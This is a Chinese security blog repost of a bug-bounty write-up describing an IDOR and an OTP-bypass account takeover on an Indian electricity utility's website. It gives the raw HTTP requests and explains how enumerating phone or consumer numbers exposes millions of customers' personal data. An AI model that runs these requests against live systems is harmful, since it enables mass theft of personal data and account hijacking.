正文
APDCL ，即印度阿萨姆邦电力分销公司，是印度阿萨姆邦政府控制的公共部门企业，负责电力分配和供应服务，确保电力供应的稳定性和可靠性，以满足居民、工业和商业客户的电力需求。
漏洞1：IDOR
在网站注册后，访问登录面板时，网站要求输入手机号码及手机号验证码进行登录。
在交互过程的所有请求包中，存在多个特殊请求包，第一个为：
/website/myBijulee/fetchConsumer接口通过mobile_no参数查询消费者号码（cons_no）
POST /website/myBijulee/fetchConsumer?mobile_no=<mobile_number> HTTP/1.1Host: www.apdcl.orgUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Referer: https://www.apdcl.org/website/Origin: https://www.apdcl.orgContent-Length: 0Te: trailersConnection: close
也就是说，通过遍历手机号即可获取手机号对应的消费者号码cons_no
第二个特殊请求包为：
/cbs/RestAPI/myBijulee/ConsDetails接口通过cons_no参数获取用户信息。
POST /cbs/RestAPI/myBijulee/ConsDetails?cons_no=<consumer_number> HTTP/1.1Host: www.apdclrms.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Referer: https://www.apdcl.org/Origin: https://www.apdcl.orgConnection: close
其中，敏感信息包括：姓名、电子邮件地址、手机号码、地址、税号（印度的个人识别号码）、选民身份证、身份证号码。
因此，可通过遍历手机号获取消费者号码，再遍历获取到的消费者号码得到敏感数据；
或者直接遍历cons_no参数，因为它是数字字符串。
影响范围可达五百万用户。
漏洞2：账户接管
在登录流程中，涉及登录逻辑的请求包有两个。
第一个用于向消费者的手机号码发送验证码：
POST /website/api/generateOtp?mobNo=<mobile_number> HTTP/1.1Host: www.apdcl.orgCookie: ARMSSESSIONID=M2Y5MzY5YTItODFiOS00ZmQyLWIzMTAtOTNkMTdhOGNjZjlm; JSESSIONID=5F5BB3B3B8711282CD8BA7D5F2118886.server2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Referer: https://www.apdcl.org/website/Origin: https://www.apdcl.orgContent-Length: 0Connection: close
第二个请求包用于验证手机号验证码：
POST /website/api/postOtp HTTP/1.1Host: www.apdcl.orgCookie: ARMSSESSIONID=M2Y5MzY5YTItODFiOS00ZmQyLWIzMTAtOTNkMTdhOGNjZjlm; JSESSIONID=5F5BB3B3B8711282CD8BA7D5F2118886.server2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Referer: https://www.apdcl.org/website/Content-Type: application/x-www-form-urlencodedContent-Length: 29Origin: https://www.apdcl.orgConnection: closemobNo=<mobile_number>&otpNo=000000
-
如果验证码正确，服务器将返回会话cookie并重定向至用户个人界面。
-
如果验证码错误，服务器将以302响应并将用户重定向到/website/?mobileNo=<mobile_number>
可以看到，Cookie的设定形式为：
mobile=*;Domain=www.apdcl.org;Path=/;Secure;
因此鉴权参数为手机号，那么输入受害者手机号，再输入任意手机号验证码，之后在拦截的返回包中修改返回包，即可接管其账户。
原文出处：
https://infosecwriteups.com/idor-account-takeover-how-i-secured-personal-information-pii-of-5-17m-electricity-consumers-a9db5e4999b9
SRC漏洞挖掘培训
往期漏洞分享
Oracle Apiary：SSRF获取元数据
SSRF 之 Azure Digital Twins Explorer
玲珑安全交流群
玲珑安全B站免费公开课
https://space.bilibili.com/602205041
原文始发于微信公众号（芳华绝代安全团队）：百万敏感数据之IDOR + 账户接管
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论